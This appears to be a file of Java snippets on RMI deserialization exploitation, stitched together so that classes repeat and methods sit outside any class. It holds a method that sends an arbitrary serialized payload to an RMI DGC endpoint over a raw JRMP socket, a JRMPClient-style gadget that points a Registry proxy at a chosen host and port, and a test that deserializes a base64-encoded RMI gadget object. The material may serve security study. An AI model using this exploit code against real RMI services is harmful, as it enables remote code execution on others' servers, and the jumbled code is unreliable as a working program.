package com.javasec;

public class Demo {
    @Test
    public void test() throws Exception {
        Naming.lookup("rmi://127.0.0.1:7777/xxxx");
    }
}

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
       InetSocketAddress isa = new InetSocketAddress(hostname, port);
       Socket s = null;
       DataOutputStream dos = null;
       try {
           s = SocketFactory.getDefault().createSocket(hostname, port);
           s.setKeepAlive(true);
           s.setTcpNoDelay(true);

           OutputStream os = s.getOutputStream();
           dos = new DataOutputStream(os);

           dos.writeInt(TransportConstants.Magic);
           dos.writeShort(TransportConstants.Version);
           dos.writeByte(TransportConstants.SingleOpProtocol);

           dos.write(TransportConstants.Call);

           @SuppressWarnings ( "resource" )
           final ObjectOutputStream objOut = new MarshalOutputStream(dos);

           objOut.writeLong(2); // DGC ObjID
           objOut.writeInt(0);
           objOut.writeLong(0);
           objOut.writeShort(0);

           objOut.writeInt(1); // dirty opnum is 1
           objOut.writeLong(-669196253586618813L); // hash

           objOut.writeObject(payloadObject); //will be unmarshaled as the first parameter

           os.flush();
       }
       finally {
           if ( dos != null ) {
               dos.close();
           }
           if ( s != null ) {
               s.close();
           }
       }
   }

package com.javasec;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.charset.StandardCharsets;
import java.rmi.Naming;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class Demo {
    @Test
    public void test() throws Exception {
        //Naming.lookup("rmi://127.0.0.1:7777/xxxx");
        SerializeUtils.base64deserial("rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAAIrhwcAAAAAAAAAAAcHAAcHBw");
        while (true) {
            System.out.println(System.currentTimeMillis());
            Thread.sleep(3000);
        }
    }
}

public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }